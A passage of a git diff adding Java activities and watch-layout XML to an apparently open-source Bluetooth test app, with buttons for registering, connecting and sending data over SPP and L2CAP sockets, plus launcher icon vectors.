}); + + // Disconnect with Client/Server #2 + Button buttonDisonnect_2 = findViewById(R.id.button_spp_disconnect_2); + buttonDisonnect_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Disconnect with Client/Server#2"); + btL2cap_2.disconnect(); + } + }); + + // DataToSend #1 + textDataToSend_1 = (EditText) findViewById(R.id.text_data_to_send_1); + + // Send to Client/Server #1 + Button buttonSend_1 = findViewById(R.id.button_spp_send_1); + buttonSend_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textDataToSend_1.getText().toString(); + + Log.d(TAG, "onClick: Send by Client/Server#1, data = " + str); + btL2cap_1.send(str, 0); + } + }); + + // DataToSend #2 + textDataToSend_2 = (EditText) findViewById(R.id.text_data_to_send_2); + + // Send to Client/Server #2 + Button buttonSend_2 = findViewById(R.id.button_spp_send_2); + buttonSend_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textDataToSend_2.getText().toString(); + + Log.d(TAG, "onClick: Send by Client/Server#2, data = " + str); + btL2cap_2.send(str, 0); + } + }); + + // Data to display + textDataToDisplay = (EditText) findViewById(R.id.text_data_to_display); + + // Init BtSock + btL2cap_1 = new BtSock(1, BtSock.SOCK_TYPE_L2CAP_BREDR_INSECURE, mHandler); + btL2cap_2 = new BtSock(2, BtSock.SOCK_TYPE_L2CAP_BREDR_INSECURE, mHandler); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } + + // Handle Message from BtSock + private final Handler mHandler = new Handler(Looper.getMainLooper()) { + public void handleMessage(Message msg) { + switch (msg.what) { + case BtSock.MESSAGE_SOCK_LOGGING: + Bundle bData = msg.getData(); + String str = (String) bData.get("log"); + if (str == null) + return; + + Log.d(TAG, str); + + // Update UI + String strToDisplay = textDataToDisplay.getText().toString(); + textDataToDisplay.setText(str + strToDisplay); + break; + } + } + }; +} diff --git a/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/SppActivity.java b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/SppActivity.java new file mode 100644 index 0000000000000000000000000000000000000000..6f417e5c8270d122a8a3e396d854cd6ebdcfe2b9 --- /dev/null +++ b/tools/test_suite/android/app/src/main/java/com/openvela/bluetoothtest/bredr/SppActivity.java @@ -0,0 +1,240 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetoothtest.bredr; + +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.widget.Button; +import android.widget.EditText; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.AppCompatActivity; + +import com.openvela.bluetooth.BtSock; +import com.openvela.bluetoothtest.MainActivity; +import com.openvela.bluetoothtest.R; + +public class SppActivity extends AppCompatActivity { + private final String TAG = SppActivity.class.getSimpleName(); + + // Client/Server #1 + EditText textServiceUUID_1; + EditText textBdAddr_1; + EditText textCycles_1; + EditText textDataToSend_1; + BtSock btSpp_1; + + // Client/Server #2 + EditText textServiceUUID_2; + EditText textBdAddr_2; + EditText textCycles_2; + EditText textDataToSend_2; + BtSock btSpp_2; + + // Data to Display + EditText textDataToDisplay; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_spp); + + // Service UUID #1 + textServiceUUID_1 = (EditText) findViewById(R.id.text_service_uuid_1); + + // Register Server #1 + Button buttonRegister_1 = findViewById(R.id.button_spp_server_register_1); + buttonRegister_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_1.getText().toString(); + + Log.d(TAG, "onClick: Register UUID#1 = " + uuid); + btSpp_1.register(uuid); + } + }); + + // Unregister Server #1 + Button buttonUnregister_1 = findViewById(R.id.button_spp_server_unregister_1); + buttonUnregister_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Unregister Server#1"); + btSpp_1.unregister(); + } + }); + + // Service UUID #2 + textServiceUUID_2 = (EditText) findViewById(R.id.text_service_uuid_2); + + // Register Server #2 + Button buttonRegister_2 = findViewById(R.id.button_spp_server_register_2); + buttonRegister_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_2.getText().toString(); + + Log.d(TAG, "onClick: Register UUID#2 = " + uuid); + btSpp_2.register(uuid); + } + }); + + // Unregister Server #2 + Button buttonUnregister_2 = findViewById(R.id.button_spp_server_unregister_2); + buttonUnregister_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Unregister Server#2"); + btSpp_2.unregister(); + } + }); + + // BD_ADDR #1 + textBdAddr_1 = (EditText) findViewById(R.id.text_bd_addr_1); + + // Connect by Client #1 + Button buttonConnect_1 = findViewById(R.id.button_spp_client_connect_1); + buttonConnect_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_1.getText().toString(); + String addr = textBdAddr_1.getText().toString(); + + Log.d(TAG, "onClick: Connect by Client#1, to BD_ADDR = " + addr); + btSpp_1.connect(addr, uuid); + } + }); + + // Disconnect with Client/Server #1 + Button buttonDisonnect_1 = findViewById(R.id.button_spp_disconnect_1); + buttonDisonnect_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Disconnect with Client/Server#1"); + btSpp_1.disconnect(); + } + }); + + // BD_ADDR #2 + textBdAddr_2 = (EditText) findViewById(R.id.text_bd_addr_2); + + // Connect by Client #2 + Button buttonConnect_2 = findViewById(R.id.button_spp_client_connect_2); + buttonConnect_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String uuid = textServiceUUID_2.getText().toString(); + String addr = textBdAddr_2.getText().toString(); + + Log.d(TAG, "onClick: Connect by Client#2, to BD_ADDR = " + addr); + btSpp_2.connect(addr, uuid); + } + }); + + // Disconnect with Client/Server #2 + Button buttonDisonnect_2 = findViewById(R.id.button_spp_disconnect_2); + buttonDisonnect_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + Log.d(TAG, "onClick: Disconnect with Client/Server#2"); + btSpp_2.disconnect(); + } + }); + + // DataToSend #1 + textDataToSend_1 = (EditText) findViewById(R.id.text_data_to_send_1); + + // Cycles #1 + textCycles_1 = (EditText) findViewById(R.id.text_cycles_1); + + // Send to Client/Server #1 + Button buttonSend_1 = findViewById(R.id.button_spp_send_1); + buttonSend_1.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textDataToSend_1.getText().toString(); + String cycles = textCycles_1.getText().toString(); + int numOfCycles = 1; + + if (!cycles.isEmpty()) + numOfCycles = Integer.parseInt(cycles); + + Log.d(TAG, "onClick: Send by Client/Server#1, data = " + str); + btSpp_1.send(str, numOfCycles); + } + }); + + // DataToSend #2 + textDataToSend_2 = (EditText) findViewById(R.id.text_data_to_send_2); + + // Cycles #1 + textCycles_2 = (EditText) findViewById(R.id.text_cycles_1); + + // Send to Client/Server #2 + Button buttonSend_2 = findViewById(R.id.button_spp_send_2); + buttonSend_2.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String str = textDataToSend_2.getText().toString(); + String cycles = textCycles_2.getText().toString(); + int numOfCycles = 1; + + if (!cycles.isEmpty()) + numOfCycles = Integer.parseInt(cycles); + + Log.d(TAG, "onClick: Send by Client/Server#2, data = " + str); + btSpp_2.send(str, numOfCycles); + } + }); + + // Data to display + textDataToDisplay = (EditText) findViewById(R.id.text_data_to_display); + + // Init BtSock + btSpp_1 = new BtSock(1, BtSock.SOCK_TYPE_SPP_INSECURE, mHandler); + btSpp_2 = new BtSock(2, BtSock.SOCK_TYPE_SPP_INSECURE, mHandler); + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } + + // Handle Message from BtSock + private final Handler mHandler = new Handler(Looper.getMainLooper()) { + public void handleMessage(Message msg) { + switch (msg.what) { + case BtSock.MESSAGE_SOCK_LOGGING: + Bundle bData = msg.getData(); + String str = (String) bData.get("log"); + if (str == null) + return; + + Log.d(TAG, str); + + // Update UI + String strToDisplay = textDataToDisplay.getText().toString(); + textDataToDisplay.setText(str + strToDisplay); + break; + } + } + }; +} diff --git a/tools/test_suite/android/app/src/main/res/drawable/ic_launcher_background.xml b/tools/test_suite/android/app/src/main/res/drawable/ic_launcher_background.xml new file mode 100755 index 0000000000000000000000000000000000000000..9ae8512e56f6caa8b0df17b40c76c8fdebd734e3 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,74 @@ +<?xml version="1.0" encoding="utf-8"?> +<vector + android:height="108dp" + android:width="108dp" + android:viewportHeight="108" + android:viewportWidth="108" + xmlns:android="http://schemas.android.com/apk/res/android"> + <path android:fillColor="#0074FF" + android:pathData="M0,0h108v108h-108z"/> + <path android:fillColor="#00000000" android:pathData="M9,0L9,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M19,0L19,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M29,0L29,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M39,0L39,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M49,0L49,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M59,0L59,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M69,0L69,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M79,0L79,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M89,0L89,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M99,0L99,108" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,9L108,9" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,19L108,19" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,29L108,29" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,39L108,39" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,49L108,49" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,59L108,59" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,69L108,69" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,79L108,79" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,89L108,89" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M0,99L108,99" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M19,29L89,29" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M19,39L89,39" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M19,49L89,49" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M19,59L89,59" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M19,69L89,69" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M19,79L89,79" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M29,19L29,89" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M39,19L39,89" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M49,19L49,89" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M59,19L59,89" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M69,19L69,89" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> + <path android:fillColor="#00000000" android:pathData="M79,19L79,89" + android:strokeColor="#33FFFFFF" android:strokeWidth="0.8"/> +</vector> diff --git a/tools/test_suite/android/app/src/main/res/drawable/ic_launcher_foreground.xml b/tools/test_suite/android/app/src/main/res/drawable/ic_launcher_foreground.xml new file mode 100755 index 0000000000000000000000000000000000000000..2b068d11462a4b96669193de13a711a3a36220a0 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/drawable/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ +<vector xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:aapt="http://schemas.android.com/aapt" + android:width="108dp" + android:height="108dp" + android:viewportWidth="108" + android:viewportHeight="108"> + <path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z"> + <aapt:attr name="android:fillColor"> + <gradient + android:endX="85.84757" + android:endY="92.4963" + android:startX="42.9492" + android:startY="49.59793" + android:type="linear"> + <item + android:color="#44000000" + android:offset="0.0" /> + <item + android:color="#00000000" + android:offset="1.0" /> + </gradient> + </aapt:attr> + </path> + <path + android:fillColor="#FFFFFF" + android:fillType="nonZero" + android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z" + android:strokeWidth="1" + android:strokeColor="#00000000" /> +</vector> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout-watch/activity_ble_l2cap.xml b/tools/test_suite/android/app/src/main/res/layout-watch/activity_ble_l2cap.xml new file mode 100644 index 0000000000000000000000000000000000000000..9f9dca866383157f49b83261263d7a800dab650f --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout-watch/activity_ble_l2cap.xml @@ -0,0 +1,270 @@ +<?xml version="1.0" encoding="utf-8"?> +<ScrollView xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/spp" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + tools:context=".bredr.SppActivity" + tools:layout_editor_absoluteX="0dp" + tools:layout_editor_absoluteY="42dp"> + + <androidx.constraintlayout.widget.ConstraintLayout + android:layout_width="match_parent" + android:layout_height="match_parent"> + + <TextView + android:id="@+id/textView4" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="4dp" + android:layout_marginTop="8dp" + android:text="PSM" + app:layout_constraintStart_toEndOf="@+id/text_service_uuid_1" + app:layout_constraintTop_toTopOf="parent" /> + + <TextView + android:id="@+id/textView5" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="7dp" + android:layout_marginTop="8dp" + android:text="PSM" + app:layout_constraintStart_toEndOf="@+id/text_service_uuid_2" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <EditText + android:id="@+id/text_service_uuid_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:ems="10" + android:inputType="text" + android:text="0" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_spp_server_register_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Register 1" + android:textAllCaps="false" + app:layout_constraintEnd_toStartOf="@+id/button_spp_server_unregister_1" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <Button + android:id="@+id/button_spp_server_register_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginTop="1dp" + android:text="Register 2" + android:textAllCaps="false" + app:layout_constraintEnd_toStartOf="@+id/button_spp_server_unregister_2" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_2" /> + + <EditText + android:id="@+id/text_service_uuid_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:ems="10" + android:inputType="text" + android:text="0" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_server_unregister_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_2" + app:layout_constraintTop_toTopOf="@+id/button_spp_server_register_2" /> + + <View + android:id="@+id/divider" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="8dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_send_1" /> + + <Button + android:id="@+id/button_spp_client_connect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 2" + android:textAllCaps="false" + app:layout_constraintEnd_toStartOf="@+id/button_spp_disconnect_2" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_2" /> + + <Button + android:id="@+id/button_spp_disconnect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Disconnect 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_2" + app:layout_constraintTop_toTopOf="@+id/button_spp_client_connect_2" /> + + <Button + android:id="@+id/button_spp_disconnect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Disconnect 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_1" + app:layout_constraintTop_toTopOf="@+id/button_spp_client_connect_1" /> + + <Button + android:id="@+id/button_spp_send_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 2" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_data_to_send_2" /> + + <EditText + android:id="@+id/text_data_to_send_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_2" /> + + <EditText + android:id="@+id/text_bd_addr_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:text="20:3B:34:C7:BD:30" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_register_2" /> + + <Button + android:id="@+id/button_spp_server_unregister_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_1" + app:layout_constraintTop_toTopOf="@+id/button_spp_server_register_1" /> + + <View + android:id="@+id/divider2" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="8dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_send_2" /> + + <EditText + android:id="@+id/text_data_to_send_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_1" /> + + <Button + android:id="@+id/button_spp_send_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 1" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.498" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_data_to_send_1" /> + + <EditText + android:id="@+id/text_data_to_display" + android:layout_width="wrap_content" + android:layout_height="100dp" + android:layout_marginTop="8dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="parent" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider2" /> + + <EditText + android:id="@+id/text_bd_addr_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="8dp" + android:ems="10" + android:inputType="text" + android:text="7C:A4:49:11:BD:27" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_register_1" /> + + <Button + android:id="@+id/button_spp_client_connect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 1" + android:textAllCaps="false" + app:layout_constraintEnd_toStartOf="@+id/button_spp_disconnect_1" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_1" /> + + </androidx.constraintlayout.widget.ConstraintLayout> + +</ScrollView> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout-watch/activity_bond.xml b/tools/test_suite/android/app/src/main/res/layout-watch/activity_bond.xml new file mode 100644 index 0000000000000000000000000000000000000000..9afa27e04fc71bfceafe2af3d963bc8ea29e707c --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout-watch/activity_bond.xml @@ -0,0 +1,92 @@ +<?xml version="1.0" encoding="utf-8"?> +<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/bond" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".bredr.BondActivity"> + + <Button + android:id="@+id/button_create_bond" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="16dp" + android:layout_marginTop="15dp" + android:text="Bond" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_remove_bond" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginTop="12dp" + android:text="Unbond" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_create_bond" + app:layout_constraintTop_toBottomOf="@+id/button_create_bond" /> + + <TextView + android:id="@+id/textView" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:text="cycles" + app:layout_constraintBottom_toBottomOf="@+id/textNumOfCycles" + app:layout_constraintStart_toEndOf="@+id/textNumOfCycles" + app:layout_constraintTop_toTopOf="@+id/textNumOfCycles" /> + + <EditText + android:id="@+id/textNumOfCycles" + android:layout_width="89dp" + android:layout_height="41dp" + android:ems="10" + android:inputType="number" + android:textAlignment="center" + app:layout_constraintBottom_toBottomOf="@+id/button_remove_bond" + app:layout_constraintStart_toStartOf="@+id/textBdAddr" + app:layout_constraintTop_toTopOf="@+id/button_remove_bond" /> + + <EditText + android:id="@+id/textResultDisplay" + android:layout_width="396dp" + android:layout_height="340dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="parent" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" /> + + <EditText + android:id="@+id/textBdAddr" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="18dp" + android:ems="10" + android:inputType="text" + android:text="00:1A:7D:DA:71:11" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="@+id/button_create_bond" + app:layout_constraintStart_toEndOf="@+id/button_create_bond" + app:layout_constraintTop_toTopOf="@+id/button_create_bond" /> + + <EditText + android:id="@+id/textPairedDevices" + android:layout_width="412dp" + android:layout_height="191dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toTopOf="@+id/textResultDisplay" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintHorizontal_bias="0.5" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/textNumOfCycles" /> + +</androidx.constraintlayout.widget.ConstraintLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout-watch/activity_main.xml b/tools/test_suite/android/app/src/main/res/layout-watch/activity_main.xml new file mode 100644 index 0000000000000000000000000000000000000000..10d05773a9967cb8160544163c46a99090844435 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout-watch/activity_main.xml @@ -0,0 +1,101 @@ +<?xml version="1.0" encoding="utf-8"?> +<ScrollView + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/main" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".MainActivity"> + + <androidx.constraintlayout.widget.ConstraintLayout + android:layout_width="match_parent" + android:layout_height="wrap_content"> + + <Button + android:id="@+id/button_on_off" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryOnOffActivity" + android:text="@string/bredr_on_off" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_bredr_inquiry" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBredrInquiryActivity" + android:text="@string/bredr_inquiry" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_on_off" + app:layout_constraintStart_toStartOf="@+id/button_on_off" + app:layout_constraintTop_toBottomOf="@+id/button_on_off" /> + + <Button + android:id="@+id/button_spp" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entrySppActivity" + android:text="@string/spp" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_bredr_inquiry" + app:layout_constraintStart_toStartOf="@+id/button_bredr_inquiry" + app:layout_constraintTop_toBottomOf="@+id/button_bredr_inquiry" /> + + <Button + android:id="@+id/button_bredr_l2cap" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBredrL2capActivity" + android:text="@string/bredr_l2cap" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_spp" + 